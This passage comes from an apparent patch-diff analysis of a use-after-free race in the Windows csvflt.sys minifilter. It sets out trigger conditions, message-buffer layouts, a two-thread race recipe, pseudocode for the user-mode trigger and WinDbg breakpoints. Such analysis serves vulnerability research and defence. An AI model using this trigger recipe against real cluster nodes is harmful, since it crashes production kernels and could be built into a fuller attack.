&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e7a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; safe deref&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e7d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xd4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e83:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jne&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0x1c0039ec9&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e85:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; safe deref&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e89:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xd8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e90:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039e93:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c0008940&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; memcmp&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039ef2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;SigningLock&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0039ef9:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1c00289ec&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- RELEASE SHARED (RWLock::ReleaseShared)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The key shift: the unlocked read at &lt;code&gt;0x1c0039e61&lt;/code&gt; in the unpatched binary becomes a shared-lock acquire (&lt;code&gt;call RWLock::AcquireShared (sub_1c0027d70)&lt;/code&gt; on &lt;code&gt;SigningLock&lt;/code&gt;) in the patched binary, and only then is the global pointer read.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Target environment.&lt;/strong&gt; The host must be running &lt;code&gt;csvflt.sys&lt;/code&gt; — present on Windows Server Failover Clustering nodes with Cluster Shared Volumes enabled. The minifilter port &lt;code&gt;\Csv2_FilterPort&lt;/code&gt; is created in &lt;code&gt;DriverEntry&lt;/code&gt; (&lt;code&gt;DriverEntry (sub_1c003b078)&lt;/code&gt;) at runtime.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Open a port handle.&lt;/strong&gt; From a user-mode process running at any privilege that can open the port:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;FilterConnectCommunicationPort(L"\\Csv2_FilterPort", ...)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The connect buffer's first DWORD must be &lt;code&gt;1&lt;/code&gt; or &lt;code&gt;2&lt;/code&gt; (client type); buffer length must be ≥ 8 bytes (validated by the connect-notify callback &lt;code&gt;CsvConnect (sub_1c0038160)&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Build the message buffer (≥ &lt;code&gt;0xDC&lt;/code&gt; bytes).&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Required value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;command code&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt; (routes to &lt;code&gt;CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xcc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;connection ID&lt;/td&gt;
&lt;td&gt;any value that matches the connection the server expects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xd0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;sequence / flags&lt;/td&gt;
&lt;td&gt;any&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xd4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DWORD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;length&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;non-zero&lt;/strong&gt;; alternate between two distinct values to force cache invalidation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xd8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DWORD[]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;inline data&lt;/td&gt;
&lt;td&gt;source data copied into the cached object&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Create the race.&lt;/strong&gt; Spawn two (or more) threads, each with its own port handle:&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thread A (reader):&lt;/strong&gt; Sends a message whose &lt;code&gt;+0xd4&lt;/code&gt; length &lt;strong&gt;matches&lt;/strong&gt; the currently cached length. It enters the unlocked read-deref path (&lt;code&gt;0x1c0039e61 → 0x1c0039e70 → 0x1c0039e77&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Thread B (freer):&lt;/strong&gt; Sends a message whose &lt;code&gt;+0xd4&lt;/code&gt; length &lt;strong&gt;differs&lt;/strong&gt; from the cached length. It enters the cache-stale path, allocates a new &lt;code&gt;0x28&lt;/code&gt;-byte &lt;code&gt;CVCA&lt;/code&gt; object, frees the old one under the &lt;code&gt;ERESOURCE&lt;/code&gt;, and swaps in the new pointer.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Win the race.&lt;/strong&gt; Thread A's read at &lt;code&gt;0x1c0039e61&lt;/code&gt; must occur &lt;em&gt;before&lt;/em&gt; Thread B's &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; at &lt;code&gt;0x1c0039f84&lt;/code&gt;, and Thread A's deref at &lt;code&gt;0x1c0039e70&lt;/code&gt;/&lt;code&gt;0x1c0039e77&lt;/code&gt; must occur &lt;em&gt;after&lt;/em&gt; it. The race window is a handful of instructions — about &lt;code&gt;0x10&lt;/code&gt; bytes of code. Repeated concurrent calls (typically thousands of rounds) are needed for a deterministic PoC; CPU pinning of the two threads to different cores widens the window.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Observable confirmation.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;With Driver Verifier Special Pool enabled on &lt;code&gt;csvflt.sys&lt;/code&gt;, the dangling read at &lt;code&gt;0x1c0039e70&lt;/code&gt;/&lt;code&gt;0x1c0039e77&lt;/code&gt; faults on the freed guard page, typically BUGCHECK &lt;code&gt;0x50&lt;/code&gt; (&lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;) with the faulting instruction at &lt;code&gt;csvflt+0x39e70&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Without Special Pool, if the pool page was fully released the deref may still fault with BUGCHECK &lt;code&gt;0x50&lt;/code&gt;; if the block was recycled, the deref reads whatever now occupies the slot and the two field reads (&lt;code&gt;+0x20&lt;/code&gt;, &lt;code&gt;+0x18&lt;/code&gt;) flow into &lt;code&gt;memcmp (sub_1c0008940)&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Primitive&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;dangling PagedPool pointer dereference&lt;/strong&gt; on a &lt;code&gt;0x28&lt;/code&gt;-byte &lt;code&gt;CVCA&lt;/code&gt;-tagged allocation. After Thread B frees the object, the freed slot may be recycled before Thread A's deref, and the two fields Thread A reads are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+0x20&lt;/code&gt; (32-bit length) — compared against the attacker's &lt;code&gt;arg1+0xd4&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x18&lt;/code&gt; (data pointer) — passed as the &lt;code&gt;Buf2&lt;/code&gt; (source) argument to &lt;code&gt;memcmp (sub_1c0008940)&lt;/code&gt;, compared against &lt;code&gt;arg1+0xd8&lt;/code&gt; for &lt;code&gt;+0x20&lt;/code&gt; bytes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Limits of the primitive&lt;/h3&gt;
&lt;p&gt;The value returned to the caller through &lt;code&gt;memcmp (sub_1c0008940)&lt;/code&gt; is used only as a match/no-match boolean: on mismatch the function clears its &lt;code&gt;ok&lt;/code&gt; flag (&lt;code&gt;r14b&lt;/code&gt;) and takes a WPP trace branch. It is &lt;strong&gt;not&lt;/strong&gt; a data-return channel — the bytes read from &lt;code&gt;+0x18&lt;/code&gt; are never copied back to the caller, only compared. The binaries therefore demonstrate a &lt;strong&gt;use-after-free / pool-corruption&lt;/strong&gt; condition (dangling read of freed pool, and a stale pointer used as a &lt;code&gt;memcmp&lt;/code&gt; source). They do &lt;strong&gt;not&lt;/strong&gt; demonstrate a controlled kernel-read/info-leak oracle, KASLR defeat, or a token-theft/code-execution chain; any such escalation would require additional primitives that are not present in or evidenced by these binaries. The confirmed, reachable impact is kernel memory corruption leading to denial of service (bugcheck), with the usual caveat that a UAF of this shape can, in principle, be developed further by a researcher who supplies their own reclamation and control primitives.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;This section assumes WinDbg/KD attached to the &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;csvflt.sys&lt;/code&gt;, kernel-mode, with symbols loaded (or at least the raw addresses below).&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;p&gt;Paste these into the debugger. Adjust the module prefix to whatever &lt;code&gt;lm t n&lt;/code&gt; reports for the CSV filter (typically &lt;code&gt;csvflt&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;; Function entry — confirm arg1 layout
bp csvflt+0x39e30 &amp;quot;.printf \&amp;quot;CsvCamSetSecurityInfo (sub_1C0039E30) entry rcx=%p len=%d connID=%d\\n\&amp;quot;, rcx, poi(rcx+0xd4), poi(rcx+0xcc);g&amp;quot;

; UNLOCKED read of the global — TOCTOU window START
bp csvflt+0x39e61 &amp;quot;.printf \&amp;quot;[UNLOCKED READ] EncryptionManager (data_1c002f518)=%p\\n\&amp;quot;, poi(csvflt+0x2f518); rdx&amp;quot;

; UAF deref #1: cached-&amp;gt;length
bp csvflt+0x39e70 &amp;quot;.printf \&amp;quot;[DEREF +0x20] rdx=%p  *(rdx+0x20)=%p\\n\&amp;quot;, rdx, poi(rdx+0x20); !pool rdx 2&amp;quot;

; UAF deref #2: cached-&amp;gt;data_ptr
bp csvflt+0x39e77 &amp;quot;.printf \&amp;quot;[DEREF +0x18] rdx=%p  *(rdx+0x18)=%p\\n\&amp;quot;, rdx, poi(rdx+0x18)&amp;quot;

; Free path entry (lock acquire)
bp csvflt+0x39f54 &amp;quot;.printf \&amp;quot;[FREE-PATH] acquiring ERESOURCE=%p\\n\&amp;quot;, poi(csvflt+0x2f530)&amp;quot;

; The actual ExFreePoolWithTag on the cached object
bp csvflt+0x39f84 &amp;quot;.printf \&amp;quot;[FREE] rcx=%p (about to free CVCA)\\n\&amp;quot;, rcx; kv&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A conditional breakpoint on the entry to capture only the vulnerable path:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp csvflt+0x39e30 &amp;quot;.if (poi(rcx+0xd4) != 0) {.echo ENTERED VULN PATH} .else {gc}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to inspect at each breakpoint&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;BP&lt;/th&gt;
&lt;th&gt;Register&lt;/th&gt;
&lt;th&gt;What it tells you&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csvflt+0x39e30&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Arg1 — the message buffer. &lt;code&gt;poi(rcx+0x0)&lt;/code&gt; = command code (must be 1). &lt;code&gt;poi(rcx+0xcc)&lt;/code&gt; = conn ID. &lt;code&gt;poi(rcx+0xd0)&lt;/code&gt; = sequence/flags. &lt;code&gt;poi(rcx+0xd4)&lt;/code&gt; = length (must be non-zero). &lt;code&gt;rcx+0xd8&lt;/code&gt; = start of inline data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csvflt+0x39e61&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt; (after &lt;code&gt;mov&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;The pointer just read from the global. Save this value — it is the candidate dangling pointer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csvflt+0x39e70&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Still the same pointer. &lt;code&gt;!pool rdx 2&lt;/code&gt; should show it; after the race you should see it as &lt;code&gt;Free&lt;/code&gt; if Special Pool is on, or unexpectedly &lt;em&gt;different&lt;/em&gt; tag if reclaimed by attacker spray.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;csvflt+0x39f84&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The object being freed. &lt;strong&gt;Compare this value to the &lt;code&gt;rdx&lt;/code&gt; value captured at &lt;code&gt;+0x39e61&lt;/code&gt;&lt;/strong&gt; — if they match and &lt;code&gt;+0x39e70&lt;/code&gt; is still in flight on another thread, the UAF has fired.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Key instructions / offsets&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;csvflt+0x39e48 : mov  eax, [rcx+0xd4]      ; reads attacker length
csvflt+0x39e59 : test eax, eax             ; UNPATCHED guard (non-zero)
csvflt+0x39e61 : mov  rdx, [csvflt+0x2f518]; *** UNLOCKED GLOBAL READ ***
csvflt+0x39e70 : mov  ecx, [rdx+0x20]      ; *** UAF DEREF #1 ***
csvflt+0x39e77 : mov  rdx, [rdx+0x18]      ; *** UAF DEREF #2 ***
csvflt+0x39f54 : (ERESOURCE acquire)       ; lock the free path SHOULD have used
csvflt+0x39f84 : call Encryption::scalar_deleting_destructor (sub_1c0027c28)        ; ExFreePoolWithTag on old object
csvflt+0x39f90 : mov  [csvflt+0x2f518], rdi; replace global with new alloc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The corresponding &lt;em&gt;patched&lt;/em&gt; instructions to compare (the function was recompiled, so the offsets shifted):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;csvflt+0x39e53 : cmp  [rcx+0xd4], ebp      ; PATCHED guard (equivalent non-zero check)
csvflt+0x39e59 : jbe  csvflt+0x39fd2       ; skip only when len == 0
csvflt+0x39e5f : mov  rcx, [csvflt+0x2f560]; load lock object (SigningLock)
csvflt+0x39e69 : call RWLock::AcquireShared (sub_1c0027d70)        ; ACQUIRE LOCK
csvflt+0x39e6e : mov  rdx, [csvflt+0x2f0c0]; read global UNDER LOCK
csvflt+0x39ef9 : call RWLock::ReleaseShared (sub_1c00289ec)        ; RELEASE LOCK
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Trigger setup from user mode&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;1. Target: csvflt.sys must be loaded (CSV feature enabled).
2. hPort = FilterConnectCommunicationPort(L&amp;quot;\\Csv2_FilterPort&amp;quot;, 0,
              connectBuf /* DWORD[0]=1 */, 8, NULL, &amp;amp;hPort);
3. Build message buffer Msg[&amp;gt;= 0xDC]:
       Msg[0x00]  = 1            ; command code
       Msg[0xcc]  = &amp;lt;conn_id&amp;gt;    ; same conn ID you used at connect
       Msg[0xd0]  = 0            ; sequence
       Msg[0xd4]  = 0x40         ; length (alternate 0x40 / 0x80 between threads)
       memcpy(&amp;amp;Msg[0xd8], sprayData, 0x40);
4. Thread A loops: FilterSendMessage(hPortA, Msg, sizeof(Msg), &amp;amp;reply, &amp;amp;replyLen);
   Thread B loops: same call, hPortB, Msg with DIFFERENT +0xd4 length.
5. Enable Special Pool on csvflt.sys in Driver Verifier for crash visibility.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Expected observation&lt;/h3&gt;
&lt;p&gt;With Special Pool on, the dangling read faults on the freed guard page:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;BUGCHECK 0x50 (PAGE_FAULT_IN_NONPAGED_AREA)
   Faulting IP  : csvflt+0x39e70
   Faulting addr: &amp;lt;old rdx + 0x20&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Without Special Pool, run &lt;code&gt;!pool rdx 2&lt;/code&gt; at the &lt;code&gt;+0x39e70&lt;/code&gt; breakpoint — if it shows &lt;code&gt;Free&lt;/code&gt; or a &lt;em&gt;different&lt;/em&gt; tag (reclaimed), the UAF has occurred. With attacker reclamation, &lt;code&gt;poi(rdx+0x18)&lt;/code&gt; will be the attacker-controlled fake data pointer.&lt;/p&gt;
&lt;h3&gt;Struct layout reference&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Cached CVCA object (0x28 bytes, PagedPool, tag &lt;code&gt;'CVCA'&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;zeroed on alloc (state/refcount)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x08&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;zeroed on alloc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x10&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;zeroed on alloc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x18&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;data pointer&lt;/strong&gt; (passed to &lt;code&gt;memcmp (sub_1c0008940)&lt;/code&gt; as source) — UAF target #2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;length&lt;/strong&gt; (compared to &lt;code&gt;arg1+0xd4&lt;/code&gt;) — UAF target #1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x24&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;(padding / unused)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Message buffer (&lt;code&gt;arg1&lt;/code&gt;, command code 1, min &lt;code&gt;0xDC&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x00&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;command code (must be &lt;code&gt;1&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xcc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;connection ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xd0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;sequence / flags&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xd4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;length (must be &lt;code&gt;&amp;gt; 0&lt;/code&gt;; alternate values to force free)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0xd8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;N&lt;/td&gt;
&lt;td&gt;inline data copied into the cached object&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Globals:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Symbol (unpatched)&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EncryptionManager (data_1c002f518)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Encryption*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;signing-context pointer (the 0x28-byte object raced on)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SigningLock (data_1c002f530)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RWLock*&lt;/code&gt; (wraps &lt;code&gt;ERESOURCE&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;taken exclusive by the free+replace path; unpatched read path took it not at all&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ReplayCacheManagerObject (data_1c002f508)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;void*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;second global, read under shared lock (also hardened by patch)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SigningLock (data_1c002f560)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RWLock*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;same &lt;code&gt;SigningLock&lt;/code&gt; at the relocated patched address; reads now take it shared&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;Only one function differs between the two binaries.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change type&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CsvCamSetSecurityInfo (sub_1C0039E30)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9634&lt;/td&gt;
&lt;td&gt;security_relevant&lt;/td&gt;
